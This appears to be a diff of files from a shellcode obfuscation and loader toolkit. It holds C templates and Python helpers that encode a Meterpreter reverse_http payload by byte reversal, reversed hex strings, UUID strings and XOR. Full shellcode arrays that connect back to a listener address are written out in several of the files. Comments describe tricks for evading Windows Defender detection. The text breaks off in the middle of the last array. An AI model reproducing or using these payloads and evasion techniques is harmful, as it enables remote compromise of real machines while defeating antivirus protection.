// compile: cl.exe /nologo /Tcreverse_byte_order.c /link /OUT:reverse_byte_order.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
int main(void) {
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f csharp | tr -d \\n
|
||||
// python3 reverse_byte_order.py
|
||||
//char reversed_payload[562] = {0xd5, 0xff, 0x56, 0xa2, 0xb5, 0xf0, 0xc2, 0xc7, 0x49, 0x59, 0x0, 0x6a, 0x58, 0xc3, 0x58, 0xd2, 0x75, 0xc0, 0x85, 0xc3, 0x1, 0x48, 0x7, 0x8b, 0x66, 0xb2, 0x74, 0xc0, 0x85, 0x20, 0xc4, 0x83, 0x48, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xe2, 0x89, 0x96, 0x12, 0xba, 0x49, 0xf9, 0x89, 0x49, 0x0, 0x0, 0x20, 0x0, 0xc0, 0xc7, 0x49, 0xda, 0x89, 0x48, 0xf1, 0x89, 0x48, 0xe7, 0x89, 0x48, 0x53, 0x53, 0x93, 0x48, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xe5, 0x53, 0xa4, 0x58, 0xba, 0x49, 0x0, 0x0, 0x10, 0x0, 0xc0, 0xc7, 0x49, 0x10, 0xe2, 0xc1, 0xd1, 0x89, 0x49, 0x5a, 0x40, 0x6a, 0x59, 0x53, 0x0, 0x0, 0x0, 0x55, 0xe8, 0xcc, 0xeb, 0x2, 0x74, 0xcf, 0xff, 0x48, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xe0, 0x35, 0xf0, 0x44, 0xba, 0x49, 0x0, 0x0, 0x13, 0x88, 0xc1, 0xc7, 0x48, 0x1f, 0x75, 0xc0, 0x85, 0xd5, 0xff, 0x7b, 0x18, 0x6, 0x2d, 0xc2, 0xc7, 0x49, 0x53, 0x53, 0xc9, 0x31, 0x4d, 0xc9, 0x31, 0x4d, 0xf1, 0x89, 0x48, 0x5a, 0x53, 0x5f, 0xa, 0x6a, 0xc6, 0x89, 0x48, 0xd5, 0xff, 0x3b, 0x2e, 0x55, 0xeb, 0xc2, 0xc7, 0x49, 0x53, 0x53, 0x50, 0x0, 0x0, 0x0, 0x0, 0x84, 0x28, 0x2, 0x0, 0xb8, 0x48, 0x53, 0xc9, 0x31, 0x4d, 0x58, 0x41, 0x5a, 0x53, 0xc1, 0x89, 0x48, 0x0, 0x4c, 0x4c, 0x78, 0x75, 0x5a, 0x73, 0x65, 0x51, 0x72, 0x33, 0x6c, 0x53, 0x65, 0x76, 0x4c, 0x54, 0x30, 0x41, 0x63, 0x58, 0x49, 0x36, 0x53, 0x62, 0x39, 0x53, 0x57, 0x75, 0x6f, 0x44, 0x77, 0x74, 0x71, 0x38, 0x38, 0x63, 0x4c, 0x4c, 0x43, 0x2f, 0x0, 0x0, 0x0, 0x29, 0xe8, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xc6, 0x9f, 0x89, 0x57, 0xba, 0x49, 0x53, 0x3, 0x6a, 0x53, 0x53, 0xc9, 0x31, 0x4d, 0x0, 0x0, 0x0, 0x50, 0xc0, 0xc7, 0x49, 0xc1, 0x89, 0x48, 0x5a, 0x0, 0x34, 0x33, 0x31, 0x2e, 0x30, 0x39, 0x31, 0x2e, 0x38, 0x36, 0x31, 0x2e, 0x32, 0x39, 0x31, 0x0, 0x0, 0x0, 0x10, 0xe8, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xa7, 0x79, 0x56, 0x3a, 0xba, 0x49, 0x53, 0x53, 0xc9, 0x31, 0x4d, 0xc0, 0x31, 0x4d, 0x5a, 0x53, 0xe1, 0x89, 0x48, 0x53, 0x53, 0xd5, 0xff, 0x7, 0x26, 0x77, 0x4c, 0xc2, 0xc7, 0x49, 0xe1, 0x89, 0x48, 0x56, 0x41, 0x0, 0x74, 0x65, 0x6e, 0x69, 0x6e, 0x69, 0x77, 0xbe, 0x49, 0x53, 0xdb, 0x31, 0x48, 0x5d, 0xff, 0xff, 0xff, 0x4b, 0xe9, 0x12, 0x8b, 0x48, 0x5a, 0x59, 0x41, 0x58, 0xe0, 0xff, 0x52, 0x41, 0x20, 0xec, 0x83, 0x48, 0x5a, 0x41, 0x59, 0x41, 0x58, 0x41, 0x5a, 0x59, 0x5e, 0x58, 0x41, 0xd0, 0x1, 0x48, 0x58, 0x41, 0x88, 0x4, 0x8b, 0x41, 0xd0, 0x1, 0x49, 0x1c, 0x40, 0x8b, 0x44, 0x48, 0xc, 0x8b, 0x41, 0x66, 0xd0, 0x1, 0x49, 0x24, 0x40, 0x8b, 0x44, 0x58, 0xd8, 0x75, 0xd1, 0x39, 0x45, 0x8, 0x24, 0x4c, 0x3, 0x4c, 0xf1, 0x75, 0xe0, 0x38, 0xc1, 0x1, 0x41, 0xd, 0xc9, 0xc1, 0x41, 0xac, 0xc0, 0x31, 0x48, 0xd6, 0x1, 0x48, 0xc9, 0x31, 0x4d, 0x88, 0x34, 0x8b, 0x41, 0xc9, 0xff, 0x48, 0x56, 0xe3, 0xd0, 0x1, 0x49, 0x50, 0x20, 0x40, 0x8b, 0x44, 0x18, 0x48, 0x8b, 0xd0, 0x1, 0x48, 0x67, 0x74, 0xc0, 0x85, 0x48, 0x0, 0x0, 0x0, 0x88, 0x80, 0x8b, 0x0, 0x0, 0x0, 0x72, 0x85, 0xf, 0x2, 0xb, 0x18, 0x78, 0x81, 0x66, 0xd0, 0x1, 0x48, 0x3c, 0x42, 0x8b, 0x51, 0x41, 0x20, 0x52, 0x8b, 0x48, 0x52, 0xed, 0xe2, 0xc1, 0x1, 0x41, 0xd, 0xc9, 0xc1, 0x41, 0x20, 0x2c, 0x2, 0x7c, 0x61, 0x3c, 0xac, 0xc0, 0x31, 0x48, 0x4a, 0x4a, 0xb7, 0xf, 0x48, 0x50, 0x72, 0x8b, 0x48, 0xc9, 0x31, 0x4d, 0x20, 0x52, 0x8b, 0x48, 0x18, 0x52, 0x8b, 0x48, 0x60, 0x52, 0x8b, 0x48, 0x65, 0x56, 0xd2, 0x31, 0x48, 0x51, 0x52, 0x50, 0x41, 0x51, 0x41, 0x0, 0x0, 0x0, 0xcc, 0xe8, 0xf0, 0xe4, 0x83, 0x48, 0xfc};
|
||||
char shellcode[562] = { 0 };
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
// reverse our array of ints
|
||||
for (int i = 0; i < sizeof(reversed_payload); i++)
|
||||
{
|
||||
printf(""); // defender fires an alert on this routine without this ¯\_(ツ)_/¯
|
||||
shellcode[i] = reversed_payload[sizeof(reversed_payload) - i - 1];
|
||||
}
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(reversed_payload))
|
||||
{
|
||||
if (idx == (sizeof(reversed_payload) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
import sys
|
||||
|
||||
#shellcode = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x48,0x31,0xd2,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x50,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x01,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x41,0x58,0x48,0x01,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0x10,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x39,0x30,0x2e,0x31,0x33,0x34,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0x50,0x00,0x00,0x00,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0x29,0x00,0x00,0x00,0x2f,0x43,0x4c,0x4c,0x63,0x38,0x38,0x71,0x74,0x77,0x44,0x6f,0x75,0x57,0x53,0x39,0x62,0x53,0x36,0x49,0x58,0x63,0x41,0x30,0x54,0x4c,0x76,0x65,0x53,0x6c,0x33,0x72,0x51,0x65,0x73,0x5a,0x75,0x78,0x4c,0x4c,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x00,0x02,0x28,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xcc,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5]
|
||||
#print('[{}]'.format(', '.join(hex(x) for x in shellcode[::-1])))
|
||||
|
||||
def get_raw_sc(input_file):
|
||||
input_file = input_file
|
||||
file_shellcode = b''
|
||||
try:
|
||||
with open(input_file, 'rb') as shellcode_file:
|
||||
file_shellcode = shellcode_file.read()
|
||||
return(file_shellcode)
|
||||
except FileNotFoundError:
|
||||
sys.exit("Supplied input file not found!")
|
||||
|
||||
|
||||
def reverse_byte_order(input_file):
|
||||
data = get_raw_sc(input_file)
|
||||
shellcode = list(data)
|
||||
|
||||
hexbytes = ', '.join(hex(x) for x in shellcode[::-1])
|
||||
|
||||
# Print in reverse order as hex bytes
|
||||
ret = 'char reversed_payload [{}] = {}'.format(
|
||||
len(shellcode),
|
||||
'{' + hexbytes + '};'
|
||||
)
|
||||
|
||||
return ret
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
// compile:
|
||||
// cl.exe /nologo /W0 /DNDEBUG /Tcreverse_hex_string.c /link /OUT:reverse_hex_string.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
int main(void) {
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f csharp | tr -d \\n
|
||||
// python3 reverse_string.py
|
||||
//char reversed_hex_string[] ="5dx0,ffx0,65x0,2ax0,5bx0,0fx0,2cx0,7cx0,94x0,95x0,Z,a6x0,85x0,3cx0,85x0,2dx0,57x0,0cx0,58x0,3cx0,1x0,84x0,7x0,b8x0,66x0,2bx0,47x0,0cx0,58x0,02x0,4cx0,38x0,84x0,5dx0,ffx0,Z,Z,Z,Z,2ex0,98x0,69x0,21x0,abx0,94x0,9fx0,98x0,94x0,Z,Z,02x0,Z,0cx0,7cx0,94x0,adx0,98x0,84x0,1fx0,98x0,84x0,7ex0,98x0,84x0,35x0,35x0,39x0,84x0,5dx0,ffx0,Z,Z,Z,Z,5ex0,35x0,4ax0,85x0,abx0,94x0,Z,Z,01x0,Z,0cx0,7cx0,94x0,01x0,2ex0,1cx0,1dx0,98x0,94x0,a5x0,04x0,a6x0,95x0,35x0,Z,Z,Z,55x0,8ex0,ccx0,bex0,2x0,47x0,fcx0,ffx0,84x0,5dx0,ffx0,Z,Z,Z,Z,0ex0,53x0,0fx0,44x0,abx0,94x0,Z,Z,31x0,88x0,1cx0,7cx0,84x0,f1x0,57x0,0cx0,58x0,5dx0,ffx0,b7x0,81x0,6x0,d2x0,2cx0,7cx0,94x0,35x0,35x0,9cx0,13x0,d4x0,9cx0,13x0,d4x0,1fx0,98x0,84x0,a5x0,35x0,f5x0,ax0,a6x0,6cx0,98x0,84x0,5dx0,ffx0,b3x0,e2x0,55x0,bex0,2cx0,7cx0,94x0,35x0,35x0,05x0,Z,Z,Z,Z,48x0,82x0,2x0,Z,8bx0,84x0,35x0,9cx0,13x0,d4x0,85x0,14x0,a5x0,35x0,1cx0,98x0,84x0,Z,75x0,e6x0,55x0,75x0,25x0,b4x0,63x0,85x0,c4x0,a4x0,67x0,63x0,84x0,47x0,83x0,85x0,34x0,46x0,b6x0,14x0,63x0,57x0,24x0,36x0,b4x0,33x0,44x0,b6x0,c6x0,86x0,a6x0,86x0,37x0,a7x0,e4x0,27x0,77x0,85x0,85x0,37x0,65x0,b4x0,d4x0,63x0,07x0,34x0,35x0,96x0,b6x0,27x0,67x0,a6x0,67x0,14x0,16x0,76x0,63x0,46x0,14x0,c6x0,55x0,23x0,a4x0,b6x0,a4x0,e6x0,17x0,63x0,a6x0,46x0,46x0,67x0,54x0,56x0,27x0,f2x0,Z,Z,Z,d4x0,8ex0,5dx0,ffx0,Z,Z,Z,Z,6cx0,f9x0,98x0,75x0,abx0,94x0,35x0,3x0,a6x0,35x0,35x0,9cx0,13x0,d4x0,Z,Z,Z,05x0,0cx0,7cx0,94x0,1cx0,98x0,84x0,a5x0,Z,43x0,33x0,13x0,e2x0,03x0,93x0,13x0,e2x0,83x0,63x0,13x0,e2x0,23x0,93x0,13x0,Z,Z,Z,01x0,8ex0,5dx0,ffx0,Z,Z,Z,Z,7ax0,97x0,65x0,a3x0,abx0,94x0,35x0,35x0,9cx0,13x0,d4x0,0cx0,13x0,d4x0,a5x0,35x0,1ex0,98x0,84x0,35x0,35x0,5dx0,ffx0,7x0,62x0,77x0,c4x0,2cx0,7cx0,94x0,1ex0,98x0,84x0,65x0,14x0,Z,47x0,56x0,e6x0,96x0,e6x0,96x0,77x0,ebx0,94x0,35x0,bdx0,13x0,84x0,d5x0,ffx0,ffx0,ffx0,b4x0,9ex0,21x0,b8x0,84x0,a5x0,95x0,14x0,85x0,0ex0,ffx0,25x0,14x0,02x0,cex0,38x0,84x0,a5x0,14x0,95x0,14x0,85x0,14x0,a5x0,95x0,0dx0,1x0,84x0,e5x0,85x0,14x0,85x0,14x0,88x0,4x0,b8x0,14x0,0dx0,1x0,94x0,c1x0,04x0,b8x0,44x0,84x0,cx0,b8x0,14x0,66x0,0dx0,1x0,94x0,42x0,04x0,b8x0,44x0,85x0,8dx0,57x0,1dx0,93x0,54x0,8x0,42x0,c4x0,3x0,c4x0,1fx0,57x0,0ex0,83x0,1cx0,1x0,14x0,dx0,9cx0,1cx0,14x0,cax0,0cx0,13x0,84x0,6dx0,1x0,84x0,88x0,43x0,b8x0,14x0,9cx0,ffx0,84x0,9cx0,13x0,d4x0,65x0,3ex0,0dx0,1x0,94x0,02x0,04x0,b8x0,44x0,81x0,84x0,b8x0,05x0,0dx0,1x0,84x0,76x0,47x0,0cx0,58x0,84x0,Z,Z,Z,88x0,08x0,b8x0,Z,Z,Z,27x0,58x0,fx0,2x0,bx0,81x0,87x0,18x0,66x0,0dx0,1x0,84x0,c3x0,24x0,b8x0,15x0,14x0,02x0,25x0,b8x0,84x0,25x0,dex0,2ex0,1cx0,1x0,14x0,dx0,9cx0,1cx0,14x0,02x0,c2x0,2x0,c7x0,16x0,c3x0,cax0,0cx0,13x0,84x0,9cx0,13x0,d4x0,05x0,27x0,b8x0,84x0,a4x0,a4x0,7bx0,fx0,84x0,02x0,25x0,b8x0,84x0,81x0,25x0,b8x0,84x0,06x0,25x0,b8x0,84x0,56x0,65x0,2dx0,13x0,84x0,15x0,25x0,05x0,14x0,15x0,14x0,Z,Z,Z,ccx0,8ex0,0fx0,4ex0,38x0,84x0,cfx0";
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
// reverse the string
|
||||
char* hex_string = _strrev(reversed_hex_string);
|
||||
printf("Reversed hex string: %s\n", hex_string);
|
||||
|
||||
// declare a new shellcode byte array
|
||||
char shellcode[598];
|
||||
|
||||
// define an index to keep track of where we're at
|
||||
int idx = 0;
|
||||
int count = 0;
|
||||
const int MAX_TOKENS = 598;
|
||||
char* next_token = NULL;
|
||||
char* token = strtok_s(hex_string, ",", &next_token);
|
||||
while (token != NULL && count < MAX_TOKENS) {
|
||||
shellcode[count++] = strtol(token, NULL, 16);
|
||||
token = strtok_s(NULL, ",", &next_token);
|
||||
}
|
||||
|
||||
idx = 0;
|
||||
while ( idx < shellcode_len)
|
||||
{
|
||||
if (idx == (shellcode_len - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
import sys
|
||||
|
||||
|
||||
def get_raw_sc(input_file):
|
||||
input_file = input_file
|
||||
file_shellcode = b''
|
||||
try:
|
||||
with open(input_file, 'rb') as shellcode_file:
|
||||
file_shellcode = shellcode_file.read()
|
||||
return(file_shellcode)
|
||||
except FileNotFoundError:
|
||||
sys.exit("Supplied input file not found!")
|
||||
|
||||
|
||||
def reverse_hex_string(input_file):
|
||||
# read in our raw shellcode and get the length
|
||||
raw_sc = get_raw_sc(input_file)
|
||||
sc_len = len(raw_sc)
|
||||
|
||||
shellcode = list(raw_sc)
|
||||
hex_string = '{}'.format(','.join(hex(x) for x in shellcode))
|
||||
|
||||
# Print in reverse order as hex bytes
|
||||
ret = 'char reversed_hex_string[] = "{}";\n'.format(
|
||||
hex_string[::-1]
|
||||
)
|
||||
ret += "unsigned int shellcode_len = {};\n".format(
|
||||
str(sc_len)
|
||||
)
|
||||
|
||||
return ret
|
||||
@@ -0,0 +1,56 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <Rpc.h>
|
||||
#pragma comment(lib, "Rpcrt4.lib")
|
||||
|
||||
|
||||
struct ustring {
|
||||
DWORD Length;
|
||||
DWORD MaximumLength;
|
||||
PUCHAR Buffer;
|
||||
} _data, key;
|
||||
|
||||
int main(void)
|
||||
{
|
||||
{{ANTI_EMULATION}}
|
||||
{{SHELLCODE}}
|
||||
|
||||
// get the size of our shellcode stored as UUIDs
|
||||
unsigned int shellcode_size = (unsigned int)sizeof(UUIDs) * 2;
|
||||
|
||||
// Declare a buffer for storing our shellcode
|
||||
void * buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
// This keeps track of our current position in the allocated buffer
|
||||
void * bufferBaseAddress = NULL;
|
||||
|
||||
// This keeps track of how many bytes we've written into the buffer
|
||||
int i = 0;
|
||||
|
||||
// Loop through our list of UUIDs and use UuidFromStringA to convert and load into memory
|
||||
for (int count = 0; count < sizeof(UUIDs) / sizeof(UUIDs[0]); count++) {
|
||||
bufferBaseAddress = ((ULONG_PTR)buffer + i);
|
||||
RPC_STATUS status = UuidFromStringA((RPC_CSTR)UUIDs[count], bufferBaseAddress);
|
||||
i += 16;
|
||||
}
|
||||
|
||||
// create a new struct from the buffer we allocated
|
||||
_data.Buffer = buffer;
|
||||
_data.Length = shellcode_size;
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < _data.Length)
|
||||
{
|
||||
if (idx == (shellcode_size - 1) )
|
||||
{
|
||||
printf("0x%02x ", _data.Buffer[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", _data.Buffer[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
from uuid import UUID
|
||||
|
||||
|
||||
def bin_to_uuid(bin_file):
|
||||
# Author: Bobby Cooke (0xBoku/boku/boku7) // https://twitter.com/0xBoku // github.com/boku7 // https://www.linkedin.com/in/bobby-cooke/ // https://0xboku.com
|
||||
# Modified code from: https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala
|
||||
uuids = ''
|
||||
try:
|
||||
with open(bin_file, 'rb') as binfile:
|
||||
uuids = ''
|
||||
chunk = binfile.read(16)
|
||||
while chunk:
|
||||
if len(chunk) < 16:
|
||||
padding = 16 - len(chunk)
|
||||
chunk = chunk + (b"\x90" * padding)
|
||||
uuids += "{}\"{}\"\n".format(' '*8,UUID(bytes_le=chunk))
|
||||
break
|
||||
uuids += "{}\"{}\",\n".format(' '*8,UUID(bytes_le=chunk))
|
||||
chunk = binfile.read(16)
|
||||
return uuids
|
||||
except FileNotFoundError:
|
||||
exit("\nThe shellcode file you specified does not exist! Exiting...\n")
|
||||
|
||||
|
||||
def uuidapi(input_file) -> str:
|
||||
uuids = bin_to_uuid(input_file)
|
||||
cstr = "char * UUIDs[] = {\n" + uuids + "\t};"
|
||||
return cstr
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// compile:
|
||||
// cl.exe /nologo /Tcxor-multibyte-key.c /link /out:xor-multibyte-key.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
void XOR(char * ciphertext, size_t ciphertext_len, char * key, size_t key_len) {
|
||||
// Defender will detect this function
|
||||
// Somehow, opening the null device and closing it again is enough to avoid detection
|
||||
FILE* outfile = fopen("nul", "w");
|
||||
|
||||
int myByte = 0;
|
||||
int k_minus_one = key_len - 1;
|
||||
for (int idx = 0; idx < ciphertext_len; idx++) {
|
||||
if (myByte == k_minus_one)
|
||||
{
|
||||
myByte = 0;
|
||||
}
|
||||
|
||||
ciphertext[idx] = ciphertext[idx] ^ key[myByte];
|
||||
myByte++;
|
||||
|
||||
}
|
||||
// Close our decoy
|
||||
fclose(outfile);
|
||||
}
|
||||
|
||||
|
||||
int main(void)
|
||||
{
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f csharp | tr -d \\n
|
||||
// python3 xor.py
|
||||
//char shellcode[593] = {0xa4,0x07,0xd1,0xaf,0xb5,0xb1,0x94,0x4f,0x52,0x4b,0x04,0x08,0x19,0x1f,0x00,0x1a,0x0d,0x68,0x8a,0x2a,0x1a,0xc0,0x17,0x39,0x0e,0x07,0xd9,0x19,0x5d,0x11,0xd3,0x1d,0x72,0x03,0x4a,0xee,0x12,0x05,0x1a,0xc0,0x37,0x09,0x15,0x7e,0x9b,0x03,0x74,0x99,0xf4,0x73,0x33,0x37,0x47,0x75,0x78,0x0e,0x93,0x82,0x48,0x18,0x59,0x8e,0xb0,0xa6,0x17,0x18,0x09,0x07,0xd9,0x19,0x65,0xd2,0x1a,0x73,0x1a,0x4a,0x95,0x3f,0xd9,0x37,0x4a,0x40,0x47,0x56,0xdd,0x3d,0x52,0x4b,0x45,0xd2,0xd8,0xc7,0x52,0x4b,0x45,0x11,0xdd,0x8f,0x26,0x2c,0x0d,0x58,0x88,0xc4,0x1a,0x53,0x15,0x1d,0xd3,0x0f,0x72,0x02,0x44,0x89,0xbb,0x19,0x1f,0x7a,0x8c,0x11,0xa7,0x86,0x13,0xc0,0x71,0xd1,0x10,0x4e,0x84,0x03,0x74,0x99,0xf4,0x0e,0x93,0x82,0x48,0x18,0x59,0x8e,0x6a,0xab,0x30,0xa8,0x14,0x4c,0x1e,0x6f,0x4d,0x1c,0x61,0x9e,0x27,0x93,0x1d,0x1d,0xd3,0x0f,0x76,0x02,0x44,0x89,0x3e,0x0e,0xd9,0x47,0x0d,0x1d,0xd3,0x0f,0x4e,0x02,0x44,0x89,0x19,0xc4,0x56,0xc3,0x04,0x01,0x19,0x17,0x1a,0x4a,0x95,0x07,0x01,0x15,0x13,0x13,0x04,0x00,0x19,0x15,0x1a,0xc8,0xa9,0x79,0x19,0x1d,0xad,0xab,0x1d,0x18,0x01,0x15,0x1a,0xc0,0x57,0xb0,0x13,0xb0,0xad,0xb4,0x18,0x11,0x69,0x94,0x01,0x02,0xfb,0x2e,0x31,0x21,0x3b,0x25,0x20,0x2d,0x58,0x0e,0x04,0x03,0xcc,0xb8,0x11,0x88,0x90,0x07,0x32,0x7f,0x5f,0xb0,0x87,0x18,0x16,0x11,0xd1,0xae,0x01,0x11,0x08,0x68,0x98,0x02,0x63,0x82,0x16,0x0a,0x11,0xf5,0x68,0x1d,0x3c,0xfe,0x58,0x4f,0x52,0x4b,0xba,0x8c,0xb0,0x5f,0x52,0x4b,0x45,0x68,0x61,0x7d,0x7c,0x7a,0x73,0x61,0x76,0x7e,0x6b,0x7b,0x6b,0x68,0x6b,0x7b,0x52,0x11,0x0d,0xd0,0x99,0x06,0x95,0x8b,0x15,0x59,0x58,0x4f,0x1f,0x7a,0x8c,0x0a,0x0b,0x25,0x51,0x18,0x0c,0xe3,0x0f,0xc6,0xcd,0x8d,0x45,0x59,0x58,0x4f,0xad,0x9e,0xad,0x46,0x58,0x4f,0x52,0x64,0x13,0x1f,0x3e,0x1a,0x1b,0x3e,0x73,0x35,0x14,0x18,0x05,0x79,0x0d,0x3b,0x3b,0x29,0x62,0x66,0x14,0x12,0x0f,0x0e,0x24,0x7f,0x37,0x12,0x28,0x07,0x04,0x4b,0x0d,0xd0,0x99,0x1c,0x08,0x0a,0x1d,0x14,0x69,0x86,0x01,0x03,0xfd,0x59,0x5a,0x67,0xd6,0x4b,0x45,0x59,0x58,0x1f,0x01,0x18,0x0c,0x9e,0x9a,0xa4,0x07,0x65,0x7e,0xa6,0x8d,0x07,0xdb,0x8d,0x2f,0x53,0x07,0x1c,0x08,0x03,0xcc,0xa8,0x15,0x7e,0x9b,0x06,0x74,0x90,0x0b,0x1c,0x1b,0x8c,0x87,0x74,0x5e,0x57,0x29,0xb4,0x90,0xdc,0x98,0x3a,0x4d,0x03,0x82,0x98,0xd0,0x5c,0x52,0x4b,0x0c,0xe3,0x1c,0xbf,0x67,0xab,0x45,0x59,0x58,0x4f,0xad,0x9e,0x0d,0xa6,0x97,0x3b,0x50,0xa0,0x89,0xb1,0x0d,0x4f,0x52,0x4b,0x16,0x00,0x32,0x0f,0x08,0x02,0xcc,0x88,0x99,0xad,0x42,0x02,0x82,0x99,0x58,0x5f,0x52,0x4b,0x0c,0xe3,0x00,0xeb,0x01,0xae,0x45,0x59,0x58,0x4f,0xad,0x9e,0x0d,0xca,0x0b,0x1c,0x1a,0xc2,0xa2,0x11,0xd1,0xbe,0x1a,0xc2,0x9f,0x10,0x9f,0x8f,0x52,0x6b,0x45,0x59,0x11,0xc6,0xab,0x02,0xff,0x4b,0xce,0xc6,0xb0,0x4b,0x45,0x59,0x58,0xb0,0x87,0x03,0xc6,0x9d,0x78,0xca,0x92,0x3f,0xf7,0x3f,0xd3,0x48,0x1a,0x4a,0x86,0xdc,0x98,0x3a,0x80,0x13,0x86,0x01,0x32,0x4f,0x0b,0x02,0x82,0x9b,0xa8,